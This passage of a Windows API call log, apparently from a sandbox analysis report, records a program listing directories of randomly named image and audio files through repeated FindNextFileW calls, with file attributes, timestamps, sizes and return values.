ftLastWriteTime.dwLowDateTime=0x204db4d0, ftLastWriteTime.dwHighDateTime=0x1d99cfe, nFileSizeHigh=0x0, nFileSizeLow=0x13a5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zh3S.m4a", cAlternateFileName="")) returned 0 [0162.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.918] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e387b00, ftCreationTime.dwHighDateTime=0x1d99c15, ftLastAccessTime.dwLowDateTime=0x4658c930, ftLastAccessTime.dwHighDateTime=0x1d99c54, ftLastWriteTime.dwLowDateTime=0x4658c930, ftLastWriteTime.dwHighDateTime=0x1d99c54, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.918] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8caf350, ftCreationTime.dwHighDateTime=0x1d99b92, ftLastAccessTime.dwLowDateTime=0x277ec070, ftLastAccessTime.dwHighDateTime=0x1d99ca7, ftLastWriteTime.dwLowDateTime=0x277ec070, ftLastWriteTime.dwHighDateTime=0x1d99ca7, nFileSizeHigh=0x0, nFileSizeLow=0xd1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsuOsA4r0 23U.mp3", cAlternateFileName="MSUOSA~1.MP3")) returned 1 [0162.918] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc9ac960, ftCreationTime.dwHighDateTime=0x1d99474, ftLastAccessTime.dwLowDateTime=0x2de32810, ftLastAccessTime.dwHighDateTime=0x1d999f1, ftLastWriteTime.dwLowDateTime=0x2de32810, ftLastWriteTime.dwHighDateTime=0x1d999f1, nFileSizeHigh=0x0, nFileSizeLow=0x16d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wwq2Xl38E.mp3", cAlternateFileName="WWQ2XL~1.MP3")) returned 1 [0162.919] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bb678c0, ftCreationTime.dwHighDateTime=0x1d99ba6, ftLastAccessTime.dwLowDateTime=0x204db4d0, ftLastAccessTime.dwHighDateTime=0x1d99cfe, ftLastWriteTime.dwLowDateTime=0x204db4d0, ftLastWriteTime.dwHighDateTime=0x1d99cfe, nFileSizeHigh=0x0, nFileSizeLow=0x13a5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zh3S.m4a", cAlternateFileName="")) returned 1 [0162.919] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.923] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf29f86d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.923] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xf2a44990, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x64, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.923] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xf2a44990, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x64, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0162.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.924] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf29f86d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.924] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xf2a44990, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x64, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.924] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.925] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xc8e12340, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xc8e12340, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.925] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92698860, ftCreationTime.dwHighDateTime=0x1d991b8, ftLastAccessTime.dwLowDateTime=0x9e368150, ftLastAccessTime.dwHighDateTime=0x1d996a6, ftLastWriteTime.dwLowDateTime=0x9e368150, ftLastWriteTime.dwHighDateTime=0x1d996a6, nFileSizeHigh=0x0, nFileSizeLow=0xa1db, dwReserved0=0x0, dwReserved1=0x0, cFileName="-20cBzLDzX_KXyz1k60.png", cAlternateFileName="-20CBZ~1.PNG")) returned 1 [0162.925] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c002ce0, ftCreationTime.dwHighDateTime=0x1d99337, ftLastAccessTime.dwLowDateTime=0x77c1900, ftLastAccessTime.dwHighDateTime=0x1d99a43, ftLastWriteTime.dwLowDateTime=0x77c1900, ftLastWriteTime.dwHighDateTime=0x1d99a43, nFileSizeHigh=0x0, nFileSizeLow=0xc851, dwReserved0=0x0, dwReserved1=0x0, cFileName="-lvNlIwLh6qJBQ7x.bmp", cAlternateFileName="-LVNLI~1.BMP")) returned 1 [0162.925] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310acab0, ftCreationTime.dwHighDateTime=0x1d9929a, ftLastAccessTime.dwLowDateTime=0xcae9ac10, ftLastAccessTime.dwHighDateTime=0x1d99b54, ftLastWriteTime.dwLowDateTime=0xcae9ac10, ftLastWriteTime.dwHighDateTime=0x1d99b54, nFileSizeHigh=0x0, nFileSizeLow=0x18344, dwReserved0=0x0, dwReserved1=0x0, cFileName="-yqu7r.jpg", cAlternateFileName="")) returned 1 [0162.925] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1917f9f0, ftCreationTime.dwHighDateTime=0x1d99bc3, ftLastAccessTime.dwLowDateTime=0x1570c200, ftLastAccessTime.dwHighDateTime=0x1d99cc2, ftLastWriteTime.dwLowDateTime=0x1570c200, ftLastWriteTime.dwHighDateTime=0x1d99cc2, nFileSizeHigh=0x0, nFileSizeLow=0x5f74, dwReserved0=0x0, dwReserved1=0x0, cFileName="09iJUNDbva.gif", cAlternateFileName="09IJUN~1.GIF")) returned 1 [0162.926] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732bbf40, ftCreationTime.dwHighDateTime=0x1d99541, ftLastAccessTime.dwLowDateTime=0x893af460, ftLastAccessTime.dwHighDateTime=0x1d99878, ftLastWriteTime.dwLowDateTime=0x893af460, ftLastWriteTime.dwHighDateTime=0x1d99878, nFileSizeHigh=0x0, nFileSizeLow=0xad1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1Tp--JQrN7iCKV.jpg", cAlternateFileName="1TP--J~1.JPG")) returned 1 [0162.926] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d3b1760, ftCreationTime.dwHighDateTime=0x1d99972, ftLastAccessTime.dwLowDateTime=0x2576e880, ftLastAccessTime.dwHighDateTime=0x1d999f4, ftLastWriteTime.dwLowDateTime=0x2576e880, ftLastWriteTime.dwHighDateTime=0x1d999f4, nFileSizeHigh=0x0, nFileSizeLow=0x2edb, dwReserved0=0x0, dwReserved1=0x0, cFileName="2R7o-shzeF3qr6Zs_C.gif", cAlternateFileName="2R7O-S~1.GIF")) returned 1 [0162.926] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7e37b10, ftCreationTime.dwHighDateTime=0x1d99762, ftLastAccessTime.dwLowDateTime=0x83cab3b0, ftLastAccessTime.dwHighDateTime=0x1d99960, ftLastWriteTime.dwLowDateTime=0x83cab3b0, ftLastWriteTime.dwHighDateTime=0x1d99960, nFileSizeHigh=0x0, nFileSizeLow=0xb8f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="3r8D3DNV_Alj.jpg", cAlternateFileName="3R8D3D~1.JPG")) returned 1 [0162.926] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802afcc0, ftCreationTime.dwHighDateTime=0x1d99383, ftLastAccessTime.dwLowDateTime=0x31155f50, ftLastAccessTime.dwHighDateTime=0x1d99a6c, ftLastWriteTime.dwLowDateTime=0x31155f50, ftLastWriteTime.dwHighDateTime=0x1d99a6c, nFileSizeHigh=0x0, nFileSizeLow=0x10c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ZfnhezHZzwofrnONF.jpg", cAlternateFileName="6ZFNHE~1.JPG")) returned 1 [0162.926] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b68b980, ftCreationTime.dwHighDateTime=0x1d993fb, ftLastAccessTime.dwLowDateTime=0x6b6cbaf0, ftLastAccessTime.dwHighDateTime=0x1d99d2c, ftLastWriteTime.dwLowDateTime=0x6b6cbaf0, ftLastWriteTime.dwHighDateTime=0x1d99d2c, nFileSizeHigh=0x0, nFileSizeLow=0x1391b, dwReserved0=0x0, dwReserved1=0x0, cFileName="8CzrpcYd_M6g307P3Uxk.png", cAlternateFileName="8CZRPC~1.PNG")) returned 1 [0162.926] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71136550, ftCreationTime.dwHighDateTime=0x1d99109, ftLastAccessTime.dwLowDateTime=0xefe63450, ftLastAccessTime.dwHighDateTime=0x1d99c23, ftLastWriteTime.dwLowDateTime=0xefe63450, ftLastWriteTime.dwHighDateTime=0x1d99c23, nFileSizeHigh=0x0, nFileSizeLow=0xcd3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="8DVbrPzwsfunn.jpg", cAlternateFileName="8DVBRP~1.JPG")) returned 1 [0162.926] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcb4d80, ftCreationTime.dwHighDateTime=0x1d99700, ftLastAccessTime.dwLowDateTime=0xbd2d1d20, ftLastAccessTime.dwHighDateTime=0x1d998a0, ftLastWriteTime.dwLowDateTime=0xbd2d1d20, ftLastWriteTime.dwHighDateTime=0x1d998a0, nFileSizeHigh=0x0, nFileSizeLow=0xa774, dwReserved0=0x0, dwReserved1=0x0, cFileName="BiMH.png", cAlternateFileName="")) returned 1 [0162.926] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16a5cff0, ftCreationTime.dwHighDateTime=0x1d9977a, ftLastAccessTime.dwLowDateTime=0x5eb11730, ftLastAccessTime.dwHighDateTime=0x1d99baa, ftLastWriteTime.dwLowDateTime=0x5eb11730, ftLastWriteTime.dwHighDateTime=0x1d99baa, nFileSizeHigh=0x0, nFileSizeLow=0x18eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRAGPLrxjBWjbAs_pS.jpg", cAlternateFileName="CRAGPL~1.JPG")) returned 1 [0162.926] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7ed1e0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.927] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x340cfec0, ftCreationTime.dwHighDateTime=0x1d99b0c, ftLastAccessTime.dwLowDateTime=0x31c0e530, ftLastAccessTime.dwHighDateTime=0x1d99c67, ftLastWriteTime.dwLowDateTime=0x31c0e530, ftLastWriteTime.dwHighDateTime=0x1d99c67, nFileSizeHigh=0x0, nFileSizeLow=0x6303, dwReserved0=0x0, dwReserved1=0x0, cFileName="dLcXhG3aWfBaiR.gif", cAlternateFileName="DLCXHG~1.GIF")) returned 1 [0162.927] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef82d940, ftCreationTime.dwHighDateTime=0x1d9999f, ftLastAccessTime.dwLowDateTime=0x34a91250, ftLastAccessTime.dwHighDateTime=0x1d99d6a, ftLastWriteTime.dwLowDateTime=0x34a91250, ftLastWriteTime.dwHighDateTime=0x1d99d6a, nFileSizeHigh=0x0, nFileSizeLow=0x88fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="F-RYQ.jpg", cAlternateFileName="")) returned 1 [0162.927] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x474f29e0, ftCreationTime.dwHighDateTime=0x1d99b11, ftLastAccessTime.dwLowDateTime=0x5ca9dbd0, ftLastAccessTime.dwHighDateTime=0x1d99c76, ftLastWriteTime.dwLowDateTime=0x5ca9dbd0, ftLastWriteTime.dwHighDateTime=0x1d99c76, nFileSizeHigh=0x0, nFileSizeLow=0x37bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="gJalnSM9o_s.jpg", cAlternateFileName="GJALNS~1.JPG")) returned 1 [0162.927] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69f17810, ftCreationTime.dwHighDateTime=0x1d99b28, ftLastAccessTime.dwLowDateTime=0x1d16a9f0, ftLastAccessTime.dwHighDateTime=0x1d99c33, ftLastWriteTime.dwLowDateTime=0x1d16a9f0, ftLastWriteTime.dwHighDateTime=0x1d99c33, nFileSizeHigh=0x0, nFileSizeLow=0x6a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="gM5d9KgElxbt.png", cAlternateFileName="GM5D9K~1.PNG")) returned 1 [0162.927] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb036180, ftCreationTime.dwHighDateTime=0x1d998fd, ftLastAccessTime.dwLowDateTime=0xa9edc6e0, ftLastAccessTime.dwHighDateTime=0x1d99d2a, ftLastWriteTime.dwLowDateTime=0xa9edc6e0, ftLastWriteTime.dwHighDateTime=0x1d99d2a, nFileSizeHigh=0x0, nFileSizeLow=0x7d03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gn4IO1VV8utHsX.png", cAlternateFileName="GN4IO1~1.PNG")) returned 1 [0162.927] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34558790, ftCreationTime.dwHighDateTime=0x1d99197, ftLastAccessTime.dwLowDateTime=0xa0582c50, ftLastAccessTime.dwHighDateTime=0x1d99a29, ftLastWriteTime.dwLowDateTime=0xa0582c50, ftLastWriteTime.dwHighDateTime=0x1d99a29, nFileSizeHigh=0x0, nFileSizeLow=0xa5e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwQvkSY6qIajdf.jpg", cAlternateFileName="HWQVKS~1.JPG")) returned 1 [0162.927] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997a8100, ftCreationTime.dwHighDateTime=0x1d99784, ftLastAccessTime.dwLowDateTime=0x97e18970, ftLastAccessTime.dwHighDateTime=0x1d998a0, ftLastWriteTime.dwLowDateTime=0x97e18970, ftLastWriteTime.dwHighDateTime=0x1d998a0, nFileSizeHigh=0x0, nFileSizeLow=0xb59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE3K6N7c0_b GIZGjbF-.png", cAlternateFileName="IE3K6N~1.PNG")) returned 1 [0162.927] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f75e1d0, ftCreationTime.dwHighDateTime=0x1d98f5d, ftLastAccessTime.dwLowDateTime=0x2cbe6f90, ftLastAccessTime.dwHighDateTime=0x1d99ae0, ftLastWriteTime.dwLowDateTime=0x2cbe6f90, ftLastWriteTime.dwHighDateTime=0x1d99ae0, nFileSizeHigh=0x0, nFileSizeLow=0xec02, dwReserved0=0x0, dwReserved1=0x0, cFileName="JhqgivuCmr9tbit.jpg", cAlternateFileName="JHQGIV~1.JPG")) returned 1 [0162.928] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19728280, ftCreationTime.dwHighDateTime=0x1d99790, ftLastAccessTime.dwLowDateTime=0xf43a2730, ftLastAccessTime.dwHighDateTime=0x1d99b49, ftLastWriteTime.dwLowDateTime=0xf43a2730, ftLastWriteTime.dwHighDateTime=0x1d99b49, nFileSizeHigh=0x0, nFileSizeLow=0x93ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="kwI_sPi1.png", cAlternateFileName="")) returned 1 [0162.928] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ced610, ftCreationTime.dwHighDateTime=0x1d9920c, ftLastAccessTime.dwLowDateTime=0xf7453290, ftLastAccessTime.dwHighDateTime=0x1d9968e, ftLastWriteTime.dwLowDateTime=0xf7453290, ftLastWriteTime.dwHighDateTime=0x1d9968e, nFileSizeHigh=0x0, nFileSizeLow=0x17adf, dwReserved0=0x0, dwReserved1=0x0, cFileName="LxEyCMb3cz G.png", cAlternateFileName="LXEYCM~1.PNG")) returned 1 [0162.928] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d1bfe0, ftCreationTime.dwHighDateTime=0x1d98f9c, ftLastAccessTime.dwLowDateTime=0x3a1497e0, ftLastAccessTime.dwHighDateTime=0x1d99299, ftLastWriteTime.dwLowDateTime=0x3a1497e0, ftLastWriteTime.dwHighDateTime=0x1d99299, nFileSizeHigh=0x0, nFileSizeLow=0x9e7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mh_2oAjD6IQO.gif", cAlternateFileName="MH_2OA~1.GIF")) returned 1 [0162.928] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24cdd390, ftCreationTime.dwHighDateTime=0x1d998bd, ftLastAccessTime.dwLowDateTime=0xd80888e0, ftLastAccessTime.dwHighDateTime=0x1d9997d, ftLastWriteTime.dwLowDateTime=0xd80888e0, ftLastWriteTime.dwHighDateTime=0x1d9997d, nFileSizeHigh=0x0, nFileSizeLow=0x30fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NEEjRL4DiRYJSV.bmp", cAlternateFileName="NEEJRL~1.BMP")) returned 1 [0162.928] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5be702f0, ftCreationTime.dwHighDateTime=0x1d99d24, ftLastAccessTime.dwLowDateTime=0x3d2b5c00, ftLastAccessTime.dwHighDateTime=0x1d99d95, ftLastWriteTime.dwLowDateTime=0x3d2b5c00, ftLastWriteTime.dwHighDateTime=0x1d99d95, nFileSizeHigh=0x0, nFileSizeLow=0x9427, dwReserved0=0x0, dwReserved1=0x0, cFileName="QJMIbj2cSoJVN7un2O.bmp", cAlternateFileName="QJMIBJ~1.BMP")) returned 1 [0162.928] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a0433d0, ftCreationTime.dwHighDateTime=0x1d98df6, ftLastAccessTime.dwLowDateTime=0x1baf3bd0, ftLastAccessTime.dwHighDateTime=0x1d999f0, ftLastWriteTime.dwLowDateTime=0x1baf3bd0, ftLastWriteTime.dwHighDateTime=0x1d999f0, nFileSizeHigh=0x0, nFileSizeLow=0x4669, dwReserved0=0x0, dwReserved1=0x0, cFileName="qNxgBCMJFfZZ 6.bmp", cAlternateFileName="QNXGBC~1.BMP")) returned 1 [0162.928] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4570850, ftCreationTime.dwHighDateTime=0x1d993d3, ftLastAccessTime.dwLowDateTime=0xc3fedfc0, ftLastAccessTime.dwHighDateTime=0x1d9969e, ftLastWriteTime.dwLowDateTime=0xc3fedfc0, ftLastWriteTime.dwHighDateTime=0x1d9969e, nFileSizeHigh=0x0, nFileSizeLow=0xaf17, dwReserved0=0x0, dwReserved1=0x0, cFileName="rokbMHY7.bmp", cAlternateFileName="")) returned 1 [0162.928] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b271fe0, ftCreationTime.dwHighDateTime=0x1d98e0b, ftLastAccessTime.dwLowDateTime=0xf2ccd990, ftLastAccessTime.dwHighDateTime=0x1d9919b, ftLastWriteTime.dwLowDateTime=0xf2ccd990, ftLastWriteTime.dwHighDateTime=0x1d9919b, nFileSizeHigh=0x0, nFileSizeLow=0xb2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="tBNEwownJMNLIH-.gif", cAlternateFileName="TBNEWO~1.GIF")) returned 1 [0162.928] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8648e140, ftCreationTime.dwHighDateTime=0x1d998eb, ftLastAccessTime.dwLowDateTime=0xdba43960, ftLastAccessTime.dwHighDateTime=0x1d99db3, ftLastWriteTime.dwLowDateTime=0xdba43960, ftLastWriteTime.dwHighDateTime=0x1d99db3, nFileSizeHigh=0x0, nFileSizeLow=0x755c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TfnLK 0sMrt1_1XwW.gif", cAlternateFileName="TFNLK0~1.GIF")) returned 1 [0162.929] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87a94930, ftCreationTime.dwHighDateTime=0x1d992d8, ftLastAccessTime.dwLowDateTime=0x41adc580, ftLastAccessTime.dwHighDateTime=0x1d99924, ftLastWriteTime.dwLowDateTime=0x41adc580, ftLastWriteTime.dwHighDateTime=0x1d99924, nFileSizeHigh=0x0, nFileSizeLow=0x1460e, dwReserved0=0x0, dwReserved1=0x0, cFileName="t_ v5C6i.png", cAlternateFileName="T_V5C6~1.PNG")) returned 1 [0162.929] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30fd50a0, ftCreationTime.dwHighDateTime=0x1d992af, 